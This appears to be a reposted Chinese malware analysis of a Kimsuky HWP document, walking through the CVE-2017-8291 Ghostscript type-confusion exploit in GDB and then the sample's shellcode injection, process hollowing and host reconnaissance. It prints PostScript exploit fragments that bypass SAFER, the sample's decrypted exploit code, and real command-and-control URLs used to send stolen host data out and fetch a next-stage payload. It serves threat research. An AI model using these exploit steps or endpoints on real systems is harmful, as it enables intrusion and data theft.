记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Kimsuky组织某样本分析

2020-05-22 13:09

0x00 前言

HWP 是韩国 Hancom 公司开发的文字处理软件(扩展名.hwp),可类比于 WPS。本文分析样本利用了CVE-2017-8291,由于版权相关问题,最新版的HWP已经将GhostScript开源组件(gbb.exe)移除,但在旧版本上该漏洞仍然能够触发,笔者分析时使用的HWP版本如下:

在分析样本之前先来分析该漏洞,该漏洞是一个类型混淆漏洞,由POC可知其如何由类型混淆达到Bypass SAFER。

0x01 POC分析

如不了解GhostScript语法,请读者自行参照官方参考文档(见参考链接)学习之后再来看POC。

笔者分析环境:Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg

可以用C语言写成(仅仅为表示其功能):

int size_from = 10000;
int size_step = 500;
int size_to = 65000;

int a = 0;
int i;

for (i = size_from; i <= size_to; i += size_step)
a += 1;

int buffercount = a;
int* buffersizes = NULL;
buffersizes = (int*)malloc(buffercount * sizeof(int));

a = 0;
for (i = size_from; i <= size_to; i += size_step)
{
buffersizes[a] = i;
a += 1;
}

其功能为定义buffers,令buffers[n]buffersizes[n] string(e.g.:buffers[0]=10000 string),且每个buffers[n]的最后16位均为0xFF
关于cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for这段代码如何修改buffers[n]的理解,可参阅下图:


下面到了关键部分。首先修改POC如下:

/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

buffers %++
(buffers) print %++
pop %++

enlarge array aload
(after aload) print %++

如此一来,可直接在zprint()函数处设断。(若在zaload()函数处设断,无法一次断下)

启动GDB后设置参数如下:

set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps

实现aload操作的函数zaload()[位于/psi/zarray.c]是第一个关键点:

b zprint设置断点,r开始执行后,成功在zprint()函数处断下:

查看osp及osbot(变量名osbot,osp和ostop代表operator stack的栈底、栈指针和栈顶):

gdb-peda$ p osbot
$29 = (s_ptr) 0x555557040408
gdb-peda$ p osp
$30 = (s_ptr) 0x555557040418
gdb-peda$ x /4gx osbot
0x555557040408: 0x0000006f5715047e 0x00005555572d5e60
0x555557040418: 0x00000007ffff127e 0x00005555575d44e9

根据ref_s结构(位于/psi/iref.h)的定义:

struct ref_s {

struct tas_s tas;

union v { /* name the union to keep gdb happy */
ps_int intval;
ushort boolval;
float realval;
ulong saveid;
byte *bytes;
const byte *const_bytes;
ref *refs;
const ref *const_refs;
name *pname;
const name *const_pname;
dict *pdict;
const dict *const_pdict;
/*
* packed is the normal variant for referring to packed arrays,
* but we need a writable variant for memory management and for
* storing into packed dictionary key arrays.
*/
const ref_packed *packed;
ref_packed *writable_packed;
op_proc_t opproc;
struct stream_s *pfile;
struct gx_device_s *pdevice;
obj_header_t *pstruct;
uint64_t dummy; /* force 16-byte ref on 32-bit platforms */
} value;
};

可知0x00005555575d44e9地址处存储的应该是buffers字符串,验证之:

那么0x00005555572d5e60地址处存储的是buffers数组,根据POC Part2能够得知buffers[n]buffersizes[n] string,且每个buffers[n]的最后16位均为0xFF,验证之:

b zaloadzaload()函数处设断,c继续执行,于zaload()函数处成功断下后,s单步执行到if (asize > ostop - op)

gdb-peda$ p asize
$37 = 0x3e8
gdb-peda$ p ostop-op
$38 = 0x31f

IF条件成立,那么调用ref_stack_push()函数(位于/psi/istack.c)重新分配栈空间:

/*
* Push N empty slots onto a stack. These slots are not initialized:
* the caller must immediately fill them. May return overflow_error
* (if max_stack would be exceeded, or the stack has no allocator)
* or gs_error_VMerror.
*/
int
ref_stack_push(ref_stack_t *pstack, uint count)
{
/* Don't bother to pre-check for overflow: we must be able to */
/* back out in the case of a VMerror anyway, and */
/* ref_stack_push_block will make the check itself. */
uint needed = count;
uint added;

for (; (added = pstack->top - pstack->p) < needed; needed -= added) {
int code;

pstack->p = pstack->top;
code = ref_stack_push_block(pstack,
(pstack->top - pstack->bot + 1) / 3,
added);
if (code < 0) {
/* Back out. */
ref_stack_pop(pstack, count - needed + added);
pstack->requested = count;
return code;
}
}
pstack->p += needed;
return 0;
}

之后的操作是向重新分配的栈空间中写入内容,b zarray.c:71于修改osp语句设断,c继续执行到断点处:

gdb-peda$ x /2gx osp
0x5555575006f8: 0x0000000000000e00 0x0000000000000000
gdb-peda$ x /2gx &aref
0x7fffffffc8e0: 0x000003e85715047c 0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /2gx osp
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8

x /222gx 0x5555572d5e60查看buffers数组的每一项地址:

注意:osp(0x5555575006f8)位于上图箭头所指数组项下方。


实现.eqproc操作的函数zeqproc()(位于/psi/zmisc3.c)是第二个关键点。.eqproc是取出栈顶两个元素进行比较之后入栈一个布尔值(<proc1> <proc2> .eqproc <bool>):

可以看出其在取出两个操作数时并未检查栈中元素数量,且并未检查两个操作数类型,如此一来,任意两个操作数都可以拿来进行比较。其修复方案即是针对此两种情况:

--- a/psi/zmisc3.c
+++ b/psi/zmisc3.c
@@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p)
ref2_t stack[MAX_DEPTH + 1];
ref2_t *top = stack;

+ if (ref_stack_count(&o_stack) < 2)
+ return_error(gs_error_stackunderflow);
+ if (!r_is_array(op - 1) || !r_is_array(op)) {
+ return_error(gs_error_typecheck);
+ }
+
make_array(&stack[0].proc1, 0, 1, op - 1);
make_array(&stack[0].proc2, 0, 1, op);
for (;;) {

b zeqproc设断后,c继续执行,于zeqproc()函数处成功断下。接下来b zmisc3.c:112make_false(op - 1);设断:

gdb-peda$ b zmisc3.c:112
Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.
gdb-peda$ c
......
gdb-peda$ p osp
$66 = (s_ptr) 0x5555575006f8
gdb-peda$ x /4gx osp-1
0x5555575006e8: 0x0000000000000e02 0x0000000000000000
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /4gx osp-1
0x5555575006e8: 0x0000000000000100 0x0000000000000000
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8

可以看到make_false()修改之处。之后的pop(1);将栈指针上移,如此一来.eqprocloop结合便可导致栈指针上溢。


下面来看POC Part3:

其通过buffersearchvars数组来检索buffers[N]字符串后16位是否被make_false()修改,进而判断osp是否到达可控范围,并通过buffersearchvars数组来保存位置。

于POC中254 le {后添加(Overwritten) print,并将之前添加的print语句全部注释掉。重新启动GDB,设置参数见上,b zprint设断后,r开始运行,成功断下后:

gdb-peda$ x /8gx osp-2
0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000
0x5555574fc968: 0x0000a604ffff127e 0x00005555574f2364
0x5555574fc978: 0x0000000a2f6e127e 0x00005555575de0fb
0x5555574fc988: 0x5245504150200b02 0x0000000000000001

如此一来,buffersearchvars[2]设为1,退出loop循环。buffersearchvars[3]保存当前检索的buffers[N],buffersearchvars[4]保存buffersizes[N]-16。


POC Part4是修改currentdevice对象属性为string,并保存至sdevice数组中,之后再覆盖其LockSafetyParams属性,达到Bypass SAFER。

三个.eqproc语句上移osp是因为后面会有sdevice、0、currentdevice入栈。修改POC如下,便于设断:

(before zeqproc) print
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
(before convert) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
(after convert) print
put

buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put

(bypass SAFER) print

zprint断下后,查看上移前osp:

gdb-peda$ p osp
$1 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x0000000000000000 0x0000000000000000 //sdevice
0x5555574fc948: 0x0000000000000000 0x0000000000000000 //0
0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000 //currentdevice
0x5555574fc968: 0x0000000effff127e 0x00005555572d8140
0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d8140
0x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e before zeqproc.>

c继续向下执行:

gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428
0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000
0x5555574fc958: 0xffffffffffff1378 0x000055555709d488
0x5555574fc968: 0x0000000effff127e 0x00005555572d812a
0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d812a
0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f before convert.?

可以看到currentdevice已经覆盖掉之前的字符串buffers[N],接下来的三条语句修改其属性:

buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put %0x127e表示string
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put %修改size

关于属性各字段定义见tas_s结构(位于/psi/iref.h)):

struct tas_s {
/* type_attrs is a single element for fast dispatching in the interpreter */
ushort type_attrs;
ushort _pad;
uint32_t rsize;
};

修改完成:

gdb-peda$ c
......
gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428
0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000
0x5555574fc958: 0xffffffffffff127e 0x000055555709d488
0x5555574fc968: 0x0000000dffff127e 0x00005555572d8115
0x5555574fc978: 0x00000002ffff0b02 0x000000000000a5f9
gdb-peda$ hexdump 0x00005555572d8115
0x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00 after convert.?.

查看此时的LockSafetyParams值:

gdb-peda$ x /4gx 0x000055555709d488+0x3e8
0x55555709d870: 0x0000000000000001 0x0000000000000000
0x55555709d880: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3b0
0x55555709d838: 0x0000000000000000 0x0000000000000000
0x55555709d848: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3f0
0x55555709d878: 0x0000000000000000 0x0000000000000000
0x55555709d888: 0x0000000000000000 0x0000000000000000

可以看到偏移0x3e8处值为1(另外两处偏移应该是针对其他系统或版本)。LockSafetyParams属性见gx_device_s结构(位于\base\gxdevcli.h)。

最后通过.putdeviceparams(实现位于/psi/zdevice.c)设置/OutputFile(%pipe%echo vulnerable > /dev/tty).outputpage完成调用。

0x02 样本分析

样本名称:(첨부2)20-0206_법인_운영상황_평가표_서식(법인작성용).hwp

MD5:8AD471517E7457EB6EEA5E3039A3334F

0x02.1 文档分析

HwpScan2查看该文档,可以看到其中的EPS脚本:

导出解压后的PS脚本,解密其中的ar变量:

解密出来之后可以看到其中CVE-2017-8291利用部分:

label13 label10 aload 

/label82 true def
/label83 0 def

{
.eqproc
/label84 true def
/label69 0 def
label6
{
/label84 true def
/label3 label7 label69 get def
/label85 label3 length 16#20 sub def
label3 label85 get
{
label84
{ /label84 false def }
{ /label84 true def exit }
ifelse
}
repeat
label84
{ /label82 false def exit }
if
/label69 label69 1 add def
}
repeat
label84
{ /label82 false def exit }
if
/label83 label83 1 add def
}
loop

label82
{ quit }
{ }
ifelse

label2 0 label2
label3 label85 16#18 add 16#7E put
label3 label85 16#19 add 16#12 put
label3 label85 16#1A add 16#00 put
label3 label85 16#1B add 16#80 put
put

继续向下分析,可以看到其调用了VirtualProtect()

OllDbg中打开gbb.exe,之后修改命令行,其参数为打开文档后于Temp目录下释放的EPS脚本(即HwpScan2中的BIN0001.eps)完整路径:

VirtualProtect()函数处设断后F9,成功断下:

通过ECX给sub_02544D7D传递参数获取系统函数调用地址:

调用GetComputerName()获取计算机名并于其后添加经过计算的十六进制值,之后通过异或及指定运算来为即将创建的文件命名:

于临时目录下创建文件:

之后再次计算一文件名并创建文件:

调用ZwQuerySystemInformation()遍历系统所有打开的句柄,此时SystemInformationClass=SystemHandleInformation,若缓冲区不足则把申请内存的大小扩大一倍之后调用RtlReAllocateHeap()再次申请,直至成功为止:

接下来调用ZwQueryObject()查询对象的类型,找到打开的EPS文件:

使用CreateFileMapping()MapViewOfFile()函数将EPS文件映射到进程内存空间中:

映射完成:

移动指针指向EPS脚本最后部分(即使用HwpScan2查看文档时截图中红色箭头所指处):

调用VirtualAlloc()函数为其开辟内存空间:

解密并写入到分配的内存空间中:

实际上解密后的该部分将被注入到HimTrayIcon.exe进程中,详见下文分析。
获取当前系统内所有进程的快照之后通过Process32Next()枚举进程:

遍历线程,找到HimTrayIcon.exe之后打开并挂起线程:

将解密出来的Shellcode写入到进程:

之后调用RtlCreateUserThread()函数恢复线程的执行。最终释放内存空间并退出:

0x02.2 注入Shellcode分析

其注入Shellcode可以附加HimTrayIcon.exe之后调试,亦可将Shellcode转成exe之后调试,笔者选择转成exe之后再进行调试。解密内存中的PE文件:

获取系统文件夹并拼接路径:

创建进程:

调用GetThreadContext()函数,若失败则直接TerminateProcess

获取系统版本信息,以此来判断下一步如何执行:

多次调用WriteProcessMemory()函数于创建的进程中写入PE文件内容:

恢复线程执行:

0x02.3 userinit.exe分析

首先是创建一互斥对象并判断是否存在相同名称的互斥对象:

之后为当前进程获取SeDebugPrivilege权限:

通过注册表判断当前运行环境是否为虚拟机中运行:

若非虚拟机运行环境,则获取函数调用地址:

%APPDATA%目录下创建一\Microsoft\Network子目录:

其中xyz文件用于存储后续收集到的主机信息。于临时目录下创建一.bat文件(据系统时间随机命名):

之后向该文件内写入内容,同时调用WinExec()执行之,用于获取主机信息:

加密获取到的主机信息:

之后拼接请求参数:

http://pingball[.]mygamesonline[.]org/home/jpg/post.php发送加密后数据:

接下来向http://pingball[.]mygamesonline[.]org/home/jpg/download.php请求下一阶段载荷:

若下载成功,将其写入到zyx.dll文件中:

由于并未获取到该文件,故分析到此结束。

0x03 参考链接


知识来源: xz.aliyun.com/t/7766

阅读:37020 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Kimsuky组织某样本分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云

本页关键词